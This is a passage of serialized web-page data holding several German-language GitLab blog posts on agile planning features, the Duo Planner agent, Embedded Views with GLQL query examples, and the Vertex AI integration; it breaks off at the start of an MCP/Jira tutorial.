damit, dass die Umstellung Anpassungen erfordert, und werden auf Basis eures Feedbacks nachjustieren.\n\n## Teilt euer Feedback\n\nProbiert die neuen Funktionen aus und teilt eure Erfahrungen mit der Work-Items-Liste und gespeicherten Ansichten in unserem [Feedback-Issue](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689). Eure Kommentare helfen dabei, diese Funktionen weiterzuentwickeln.",[787,788,746],"agile","features","2026-03-21","GitLab 18.10: Agile Planung mit Work-Items-Liste und gespeicherten Ansichten","Work-Items-Liste und gespeicherte Ansichten reduzieren Kontextwechsel und unterstützen konsistente Arbeitsabläufe im Entwicklungsteam.",[793],"Matthew Macfarlane","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png",{"featured":13,"template":796,"slug":797},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":799,"config":810},{"title":800,"description":801,"heroImage":802,"date":803,"body":804,"category":644,"tags":805,"authors":807},"Planung ohne Kontext-Wechsel – mit GitLab Duo Planner","KI-Agent für Produktmanager: GitLab Duo Planner strukturiert Anforderungen, analysiert Abhängigkeiten und erstellt Status-Reports ohne Tool-Wechsel.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","Software-Entwicklungsteams verwalten viele parallele Aufgaben mit begrenzten Ressourcen. Die Planung erfordert kontinuierliche Arbeit: Anforderungen strukturieren, Backlogs pflegen, Delivery tracken und Status-Updates erstellen.\n\nDer Planungsaufwand reduziert die Zeit für strategische Entscheidungen, die Produkte tatsächlich voranbringen.\n\nFür diese Herausforderung haben wir [GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) entwickelt – einen KI-Agent auf Basis der [GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo-agent-platform/), der Produktmanager direkt in GitLab unterstützt.\n\nGitLab Duo Planner ist kein generischer KI-Assistent. Die Produkt- und Engineering-Teams bei GitLab haben den Agent gezielt für Planungs-Workflows entwickelt, um Overhead zu reduzieren und gleichzeitig Alignment und Planbarkeit zu verbessern.\n\n## Unterstützung für deine Planung\n\nDrei Herausforderungen in der Planungspraxis:\n\n1. Ungeplante Arbeit – Unkoordinierte Tasks und verwaiste Work Items reduzieren das Vertrauen in die Planung.\n2. Unterbrechungen – Ständige Status-Anfragen unterbrechen den Entwicklungsfluss.\n3. Intransparenz – Risiken werden zu spät sichtbar, um gegenzusteuern.\n\nGitLab Duo Planner unterstützt Teams bei diesen Aufgaben: Der Agent strukturiert vage Ideen in konkrete Anforderungen, identifiziert Backlog-Probleme frühzeitig und wendet Priorisierungs-Frameworks wie RICE und MoSCoW an. Durch die Integration in GitLab hat der Agent Zugriff auf den vollständigen Kontext der Plattform. Die foundational agent architecture ermöglicht GitLab-spezifisches Wissen und Kontext-Awareness.\n\n## Für Teams entwickelt\n\nGitLab Duo Planner arbeitet mit Work Items (Epics, Issues, Tasks) und versteht Work Breakdown Structures, Dependency-Analysen und Aufwandsschätzungen. Dies verbessert Transparenz, Alignment und Planungssicherheit.\n\n**Plattform-Ansatz:** Im Unterschied zu Einzellösungen orchestriert Duo Planner über die gesamte GitLab-Plattform – von der Planung über Development bis Testing. Dies schafft Transparenz über Teams und Workflows hinweg.\n\n**Im Workflow integriert:** Kein Wechsel zwischen Tools oder tiefes Navigieren in GitLab erforderlich. Duo Planner ermöglicht Beiträge, Kollaboration und Transparenz für alle Beteiligten im Software Development Lifecycle.\n\n**Zeitersparnis:** Duo Planner befreit Teams von repetitiver Koordinationsarbeit, verbessert die Planbarkeit von Deliveries und reduziert verpasste Commitments. Der Fokus liegt auf der Arbeit, die tatsächlich Wirkung zeigt.\n\n## Sechs Workflows für Software-Planung\n\nGitLab Duo Planner unterstützt verschiedene Phasen der Software-Planung und arbeitet innerhalb des Planungsbereichs – einer definierten Umgebung mit Projekt-Visibility.\n\nDer Agent deckt sechs Workflows ab:\n\n**Priorisierung:** Frameworks wie RICE, MoSCoW oder WSJF werden angewendet, um Work Items systematisch zu ranken. RICE bewertet nach Reach, Impact, Confidence und Effort. MoSCoW kategorisiert nach Must have, Should have, Could have, Won't have. WSJF (Weighted Shortest Job First) gewichtet nach Business Value, Time Criticality und Risk Reduction.\n\n**Work Breakdown:** Initiativen werden in Epics, Features und User Stories zerlegt, um Anforderungen zu strukturieren. Dies folgt der hierarchischen Work Item-Struktur in GitLab.\n\n**Dependency-Analyse:** Der Agent identifiziert blockierte Arbeit und versteht Beziehungen zwischen Items, um die Velocity aufrechtzuerhalten. Abhängigkeiten werden als Blocker oder \"blocked by\"-Relationen erfasst.\n\n**Planung:** Organisation von Sprints, Milestones oder Quartalsplanungen. Der Agent berücksichtigt dabei die verfügbare Kapazität und bestehende Commitments.\n\n**Status-Reporting:** Generierung von Zusammenfassungen über Projekt-Fortschritt, Risiken und Blocker zum Tracking von Deliveries. Die Reports strukturieren sich nach Overview, Milestone-Status, In-Progress Items, Dependencies und Blockers.\n\n**Backlog Management:** Identifikation veralteter Issues, Duplikate oder Items, die Verfeinerung benötigen. Dies verbessert die Datenhygiene im Backlog.\n\n## Demonstration: Status-Check einer Initiative\n\nHier siehst du, wie GitLab Duo Planner den Status einer Initiative prüft:\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Planner ist als Custom Agent im Duo Chat Side Panel verfügbar und nutzt den aktuellen Seiten-Kontext.\n\n\u003Cp>\u003C/p>\n\n![Duo Planner als Custom Agent im Duo Chat Side Panel](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nWir fragen Duo Planner nach dem Status einer Initiative, indem wir den Epic-Link angeben:\n\n![Abfrage des Initiative-Status durch Angabe des Epic-Links](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nDer Agent liefert eine strukturierte Zusammenfassung mit Overview, aktuellem Status der Milestones, in Bearbeitung befindlichen Items, Dependencies und Blockern sowie umsetzbaren Empfehlungen.\n\n![Strukturierte Zusammenfassung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\nAls Nächstes fordern wir eine Executive Summary an, um Stakeholder zu informieren. GitLab Duo Planner reduziert den manuellen Analyseaufwand für Reports und unterstützt schnellere Entscheidungen.\n\n![Anforderung einer Executive Summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\u003Cp>\u003C/p>\n\n![Ausgabe der Executive Summary](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nWeitere Beispiel-Prompts für GitLab Duo Planner:\n\n* \"Welche Bugs mit dem Label 'boards' sollten wir priorisieren, unter Berücksichtigung der User Impact?\"\n* \"Ranke diese Epics nach strategischem Wert für Q1.\"\n* \"Hilf mir, Technical Debt gegen neue Features zu priorisieren.\"\n* \"Welche Tasks sind erforderlich, um diese User Story zu implementieren?\"\n* \"Schlage einen phasenweisen Ansatz für dieses Projekt vor: (URL einfügen).\"\n\n## Agile-Planung mit GitLab\n\nGitLab Duo Planner konzentriert sich gezielt auf Produktmanager und Engineering Manager in Agile-Umgebungen. Diese Spezialisierung ermöglicht verlässliche, umsetzbare Erkenntnisse statt generischer Vorschläge. Der Agent wurde auf GitLabs Planungs-Workflows und Agile Frameworks trainiert.\n\nDie Agent Platform entwickelt sich weiter: Wir arbeiten an einer Familie spezialisierter Agents, die jeweils für spezifische Workflows optimiert sind und zu einer unified intelligence layer beitragen. Der heutige Planner für Software-Teams ist der erste Schritt für KI-gestützte Priorisierung in verschiedenen Team-Kontexten.\n\n**Integration in deutsche Agile-Prozesse:** GitLab Duo Planner lässt sich in bestehende Scrum- und Kanban-Workflows integrieren. Der Agent arbeitet mit der Standard-Work-Item-Hierarchie in GitLab und respektiert definierte Projekt-Boundaries. Beispielsweise können Teams den Agent für Sprint Planning einsetzen, indem sie Backlog-Items nach RICE bewerten lassen und anschließend die Ergebnisse im Sprint Planning Meeting verwenden.\n\n**Technische Voraussetzungen:** Die Nutzung erfordert GitLab mit aktivierter Duo Chat Funktion. Der Agent operiert innerhalb der konfigurierten Projekt-Visibility und hat Zugriff auf Work Items, für die du Leserechte besitzt. Die Dokumentation erklärt Prerequisites, Anwendungsfälle und Konfiguration im Detail.\n\n> Wenn du GitLab-Kunde bist und GitLab Duo Planner mit eigenen Prompts testen möchtest, findest du in unserer [Dokumentation](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/) Prerequisites, Anwendungsfälle und weitere Details.",[806,787,788,746],"AI/ML",[808,809],"Aathira Nair","Amanda Rueda",{"featured":13,"template":796,"slug":811},"ace-your-planning-without-the-context-switching",{"content":813,"config":826},{"heroImage":814,"body":815,"authors":816,"updatedDate":819,"date":820,"title":821,"tags":822,"description":825,"category":644},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur um den\nÜberblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du\neine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um\nzu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser\nvoller Tabs und du hast den roten Faden verloren.\n\nKeine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.\n\nDeshalb haben wir [Embedded Views](https://docs.gitlab.com/user/glql/#embedded-views) entwickelt, angetrieben von [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). Mit Embedded Views, [verfügbar ab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.\n\n## Warum Embedded Views wichtig sind\n\nEmbedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.\n\n## So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden\n\nMit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:\n\n### Immer aktuell\n\nGLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.\n\n### Kontextbezogenes Bewusstsein\n\nVerwende Funktionen wie `currentUser()` und `today()`, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.\n\n### Leistungsstarke Filterung\n\nFilter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.\n\n### Anpassbare Anzeige\n\nDu kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.\n\n### Verfügbarkeit\n\nDu kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.\n\n## Embedded Views in Aktion erleben\n\nDie Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:\n\n* Dem `query`-Parameter: Ausdrücke, die mit einem logischen Operator wie `and` verbunden werden.\n* Parametern für die Präsentationsebene wie `display`, `limit` oder `fields`, `title` und `description`,\n  dargestellt als YAML.\n\nEine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.\n\nZum Beispiel:\n\n> Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in `gitlab-org/gitlab` zugewiesen sind.\n>\n> Zeige die Spalten `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight` und `updated`.\n\n````yaml\n```glql\n\ndisplay: table\n\ntitle: GLQL-Tabelle 🎉\n\ndescription: Diese Ansicht listet meine offenen Issues auf\n\nfields: title, state, health, epic, milestone, weight, updated\n\nlimit: 5\n\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n```\n````\nDiese Quelle sollte eine Tabelle wie die folgende rendern:\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\nEine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü **Weitere Optionen** in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort **Embedded View** aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:\n\n````yaml\n```glql\n\nquery: assignee = currentUser()\n\nfields: title, createdAt, milestone, assignee\n\ntitle: Mir zugewiesene Issues\n```\n````\n\nSpeicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!\n\n## Wie GitLab Embedded Views nutzt\n\nOb wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.\n\nUm mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) und Global Search Release Planning Issues für die Milestones [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) und [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) an.\n\n## Was kommt als Nächstes\n\n[Embedded Views](https://docs.gitlab.com/user/glql/) sind nur der Anfang der Vision der Knowledge Group für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im [Embedded Views Post-GA Epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und [zugänglicher](https://gitlab.com/gitlab-org/gitlab/-/issues/548722) zu machen.\n\n## Teile deine Erfahrungen\n\nTeile uns dein Feedback mit im [Embedded Views GA Feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.\n",[793,817,818],"Himanshu Kapoor","Alex Fracazo","2025-09-11","2025-08-21","Embedded Views: Die Zukunft des Work Tracking in GitLab",[787,823,824],"DevSecOps platform","workflow","So machen Embedded Views Teams effizienter, fördern datengesteuerte Entscheidungen und bieten Transparenz in Workflows. Alles mit GitLab Query Language.",{"featured":645,"template":796,"slug":827},"embedded-views-the-future-of-work-tracking-in-gitlab",{"category":659,"slug":657,"posts":829},[830,844,857],{"content":831,"config":842},{"title":832,"description":833,"authors":834,"body":837,"heroImage":838,"date":839,"category":657,"tags":840},"GitLab und Vertex AI auf Google Cloud: Agentenbasierte Softwareentwicklung","Erfahre, wie Google Cloud-Kunden auf GitLab und Vertex AI setzen – für Foundation Models, Enterprise-Kontrollen und die Vielfalt von Model Garden.\n",[835,836],"Regnard Raquedan","Rajesh Agadi","GitLab Duo Agent Platform verändert die Art und Weise, wie Unternehmen Software entwickeln, absichern und bereitstellen. Seit der allgemeinen Verfügbarkeit im Januar 2026 bringt die Plattform agentenbasierte KI in jede Phase des Software Development Lifecycle. Duo Agent Platform ist eine intelligente Orchestrierungsebene, auf der Softwareteams und ihre spezialisierten Agenten gemeinsam planen, programmieren, Reviews durchführen und Sicherheitslücken beheben.\n\nIm Rahmen dieser Partnerschaft automatisiert [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo-agent-platform/) die Orchestrierung und den Lifecycle-Kontext der Softwareentwicklung – über die Integration mit Vertex AI auf Google Cloud, das die Modellebene für Agent-Aufrufe bereitstellt. Softwareteams arbeiten weiterhin mit Issues, Merge Requests, Pipelines und Security-Workflows, während die Inferenz der Google Cloud-Konfiguration folgt, die bereits definiert wurde.\n\nFortschritte bei den Vertex AI-Modellen von Google Cloud erweitern die Einsatzmöglichkeiten von GitLab Duo Agent Platform. Kunden erhalten eine KI-gestützte DevSecOps-Steuerungsebene in GitLab, gestützt auf eine leistungsfähige KI-Infrastruktur in Vertex AI und die flexiblen Deployment- und Integrationsoptionen von Duo Agent Platform. In Kombination ermöglicht das leistungsfähigere, kontrollierte agentenbasierte Workflows im Enterprise-Maßstab.\n\n![Konzeptionelle Darstellung der GitLab Duo Agent Platform, integriert mit Google Clouds Vertex AI, für agentenbasierte Softwareentwicklung und kontrollierte KI-Workflows](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776165990/b7jlux9kydafncwy8spc.png)\n\n\n## Agenten über den gesamten Lifecycle hinweg\n\n\nViele KI-Tools konzentrieren sich auf eine einzelne Aufgabe: Code schneller generieren. GitLab Duo Agent Platform geht weiter. Die Plattform orchestriert KI-Agenten über den gesamten Software Development Lifecycle (SDLC) – von der Planung über das Security-Review bis zur Auslieferung, teamübergreifend und über viele Projekte und Releases hinweg. In diesem Maßstab sind KI-Coding-Assistenten zwar notwendig für kontinuierliche Innovation, aber nicht ausreichend.\n\nEinzelne Coding-Assistenten erfassen selten den vollständigen Zustand eines Projekts. Backlog-Strukturen, offene Merge Requests, fehlgeschlagene Jobs und Sicherheitsbefunde befinden sich in GitLab – aber ein separates Chat-Fenster in einem Coding-Assistenten übernimmt dieses Gesamtbild des SDLC nicht. Die Lücke zeigt sich in manuellen Übergaben, wiederholten Erklärungen an eine KI ohne Kontext und Governance-Teams, die Datenflüsse über Tools hinweg nachvollziehen müssen, die nie als einheitliches System konzipiert wurden.\n\nGitLab Duo Agent Platform schließt diese Lücke, indem Agenten und Flows auf denselben Objekten arbeiten, die Entwicklungsteams täglich nutzen. Vertex AI liefert dabei die Modelle und Services, die diese Agenten aufrufen, wenn Google Cloud als Inferenz-Umgebung gewählt wird – wobei GitLabs AI Gateway den Zugriff vermittelt, sodass Administratoren jederzeit nachvollziehen können, was womit verbunden ist. So analysiert beispielsweise der GitLab Duo Planner Agent Backlogs, gliedert Epics in strukturierte Aufgaben und wendet Priorisierungs-Frameworks an, um Teams bei der Entscheidung zu unterstützen, was als Nächstes umgesetzt werden soll. Der Security Analyst Agent priorisiert Schwachstellen, beschreibt Risiken in verständlicher Sprache und empfiehlt Behebungsmaßnahmen in priorisierter Reihenfolge. Integrierte Flows verbinden diese Agenten zu durchgängigen Prozessen, ohne dass Entwicklungsteams jeden Übergabeschritt manuell steuern müssen.\n\nAgentic Chat in GitLab Duo Agent Platform verbindet das Gesamterlebnis für Entwicklungsteams. Abfragen in natürlicher Sprache liefern kontextbezogene Antworten mit mehrstufigem Reasoning, das auf den vollständigen Projektzustand zugreift: Issues, Merge Requests, Pipelines, Sicherheitsbefunde und Codebase. Da GitLab als System of Record für den SDLC mit einem einheitlichen Datenmodell dient, arbeiten GitLab Duo-Agenten mit Lifecycle-Kontext, der über die Reichweite eigenständiger, toolspezifischer KI-Assistenten hinausgeht.\n\n\n### Verstärkt durch Vertex AI\n\n\nGitLab Duo Agent Platform ist modellflexibel konzipiert und leitet verschiedene Aufgaben an verschiedene Modelle weiter – je nachdem, welches Modell für die jeweilige Aufgabe am besten geeignet ist. Diese Architekturentscheidung zahlt sich auf Google Cloud aus, wo Vertex AI als verwaltete Umgebung für Foundation Models und zugehörige Services fungiert und ein breites Modell-Ökosystem sowie verwaltete Infrastruktur bereitstellt, die die Plattformfähigkeiten erweitert.\n\nDie neuesten Generationen von KI-Modellen, die über Vertex AI verfügbar sind, bieten deutliche Verbesserungen bei Reasoning, Tool-Nutzung und Long-Context-Verständnis gegenüber früheren Versionen – genau die Eigenschaften, auf die GitLabs Agenten bei der Arbeit mit vielen Projekten und Teams mit großen, komplexen Codebases angewiesen sind. Längere Kontextfenster und umfangreichere Tool-Integration in den zugrunde liegenden Modellen erweitern das, was Agenten in einem einzigen Durchlauf erreichen können – besonders relevant bei Aufgaben wie einer umfassenden Backlog-Analyse oder dem Security-Review von Monorepos.\n\n[Vertex AI Model Garden](https://cloud.google.com/model-garden) bietet mit Zugang zu einer breiten Palette von Foundation Models die nötige Auswahl, um Entscheidungen auf Basis von Leistung, Kosten und regulatorischen Anforderungen zu treffen – statt an einen einzelnen Anbieter gebunden zu sein.\n\nDarüber hinaus können GitLab-Kunden Bring Your Own Model (BYOM) für Duo Agent Platform nutzen, sodass zugelassene Anbieter und Gateways dort eingebunden werden, wo das eigene Sicherheitsmodell es vorsieht. In GitLabs [Beitrag zum 18.9-Release über Self-Hosted Duo Agent Platform und BYOM](https://about.gitlab.com/de-de/blog/agentic-ai-enterprise-control-self-hosted-duo-agent-platform-and-byom/) wird beschrieben, wie diese Anbindung funktioniert. Mit dieser Deployment-Option erhalten Kunden Zugang zu einem breiteren Spektrum an Modelloptionen, die sich auf den eigenen Entwicklungsprozess zuschneiden lassen: das richtige Modell für den richtigen Workflow mit den richtigen Leitplanken.\n\nFür GitLab war die Entscheidung, auf Vertex AI zu bauen, von der Anforderung an Enterprise-taugliche Zuverlässigkeit und breite Modellverfügbarkeit getrieben. Vertex AI und Model Garden abstrahieren das LLM-Hosting vollständig – das bedeutet schnelle Versionsbereitstellung, robuste Sicherheit und strikte Governance sind in die Integration eingebaut. Über Gemini-Modelle hinaus bietet Vertex AI globalen, latenzarmen Zugang zu einem umfangreichen Katalog von Drittanbieter- und Open-Source-Modellen.\n\nIn Kombination mit Google Clouds Ansatz für Datenschutz und Modellschutz war Vertex AI die passende Wahl, um GitLabs Developer Experience der nächsten Generation zu unterstützen.\n\nDurch die Integration von Vertex AI Model Garden in das Backend erweitert GitLab seine DevSecOps-Plattform, ohne den Nutzenden zusätzliche Komplexität aufzubürden. Entwicklungsteams müssen die zugrunde liegenden LLMs weder evaluieren noch verwalten – stattdessen nutzen sie einen optimierten, KI-gestützten Workflow für die Entwicklung ihrer Anwendungen.\n\nGitLab abstrahiert die Cloud-Orchestrierung vollständig, sodass sich Entwicklungsteams ganz auf das Schreiben von Code konzentrieren können, während Vertex AI die unterstützenden Features und Funktionen bereitstellt.\n\n\n## Was das für Kunden auf Google Cloud bedeutet\n\n\nGitLab Duo Agent Platform liefert bereits heute KI-Agenten, die über den gesamten Software-Lifecycle hinweg innerhalb eines einzigen, kontrollierten System of Record arbeiten. Auf Google Cloud ermöglicht das schnelle Innovation, während Vertex AI die Modell- und Infrastrukturebene kontinuierlich weiterentwickelt.\n\nFür Google Cloud-Kunden bedeutet diese Integration eine optimierte Softwarebereitstellung bei gleichzeitig strikter Enterprise-Governance. Für Platform-Engineering-Teams bedeutet es, zu standardisieren, welche Vertex-gestützten Modelle Vorschläge, Analysen und Behebungen innerhalb von GitLab bereitstellen – statt Dutzende clientseitiger Tools zu katalogisieren. Sicherheitsprogramme profitieren, wenn Agenten Fixes dort vorschlagen und validieren, wo Entwicklungsteams bereits Befunde bearbeiten, was Kontextwechsel reduziert und Arbeit vermeidet, die sonst in nicht verwaltete Kanäle abfließen würde.\n\nAus Sicht der Cloud-Ökonomie und -Governance sorgt die Steuerung der Agent-Inferenz über Vertex innerhalb von GitLab dafür, dass die Nutzung näher an den bestehenden Vereinbarungen und Kontrollen auf Google Cloud bleibt – das hilft, doppelte Ausgaben und Schattenpfade zu vermeiden, die am Einkauf vorbeilaufen.\n\nDa Vertex AI als zugrunde liegender Infrastrukturanbieter für GitLab Duo Agent Platform dient, können Unternehmen die Produktivität ihrer Entwicklungsteams deutlich steigern – ohne den Overhead und das Risiko fragmentierter KI-Toolchains. Teams bleiben innerhalb eines einzigen, sicheren System of Record abgestimmt und können Anwendungen schneller entwickeln und mit Zuversicht ausliefern.\n\nDie Zusammenarbeit zwischen GitLab und Google Cloud besteht seit 2018. Heute stellt sie einen der umfassendsten Wege dar, um von KI-Experimenten zu vollständig kontrollierter, agentenbasierter Softwareentwicklung auf Google Cloud zu gelangen. Da sich beide Plattformen kontinuierlich weiterentwickeln – GitLab mit erweiterter Agent-Orchestrierung und Developer-Kontext, Vertex AI mit weiter steigender Modellleistung und Agent-Infrastruktur – wird der Mehrwert für gemeinsame Kunden weiter wachsen.\n\n> [Starte eine kostenlose Testversion von GitLab Duo Agent Platform](https://about.gitlab.com/de-de/free-trial/), um GitLab und Vertex AI auf Google Cloud kennenzulernen.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2026-04-14",[806,258,841,721,746],"google",{"featured":13,"template":796,"slug":843},"gitlab-and-vertex-ai-on-google-cloud",{"content":845,"config":855},{"heroImage":846,"title":847,"description":848,"authors":849,"date":851,"category":657,"tags":852,"body":854},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643639/sapu29gmlgtwvhggmj6k.png","GitLab Duo Agent Platform erweitern: Beliebige Tools per MCP verbinden","Externe Tools wie Jira über MCP direkt in GitLab Duo Agent Platform einbinden – Schritt-für-Schritt-Einrichtung mit drei praxisnahen Workflow-Demos.",[850],"Albert Rabassa","2026-03-05",[657,746,853],"tutorial","Die Verwaltung von Software-Entwicklungsprojekten bedeutet oft, zwischen verschiedenen Tools zu wechseln: Issues in Jira verfolgen, Code in der IDE schreiben, in GitLab zusammenarbeiten. Dieses ständige Wechseln zwischen Plattformen unterbricht den Fokus und verlangsamt die Lieferung.\n\n\n\nMit der MCP-Unterstützung des [GitLab Duo Agent Platform](https://about.gitlab.com/topics/ai/model-context-protocol/) lassen sich Jira und andere MCP-kompatible Tools direkt in die KI-gestützte Entwicklungsumgebung einbinden. Issues abfragen, Tickets aktualisieren, Workflows synchronisieren – per natürlicher Sprache, direkt aus der IDE.\n\n\n\n## Was in diesem Tutorial vermittelt wird\n\n\n\nDieses Tutorial zeigt:\n\n\n\n* **Einrichtung der Jira/Atlassian OAuth-Anwendung** für sichere Authentifizierung\n\n* **Konfiguration des GitLab Duo Agent Platform** als MCP-Client\n\n* **Drei praxisnahe Anwendungsfälle** mit realen Workflows\n\n\n\n## Voraussetzungen\n\n\n\nVor dem Start sollten folgende Voraussetzungen erfüllt sein:\n\n\n\n| Voraussetzung | Details |\n| ---- | ----- |\n| **GitLab-Instanz** | GitLab 18.8+ mit aktiviertem Duo Agent Platform |\n| **Jira-Konto** | Jira Cloud-Instanz mit Admin-Zugriff zum Erstellen von OAuth-Anwendungen |\n| **IDE** | Visual Studio Code mit installierter GitLab Workflow-Erweiterung |\n| **MCP-Unterstützung** | MCP-Unterstützung in GitLab aktiviert |\n\n\n\n## Architektur verstehen\n\n\n\nDer GitLab Duo Agent Platform agiert als **MCP-Client** und stellt eine Verbindung zum Atlassian MCP-Server her, um auf Jira-Projektmanagement-Daten zuzugreifen. Der Atlassian MCP-Server übernimmt die Authentifizierung, übersetzt natürlichsprachliche Anfragen in API-Aufrufe und gibt strukturierte Daten zurück – bei gleichzeitiger Einhaltung von Sicherheits- und Audit-Anforderungen.\n\n\n\n## Teil 1: Jira 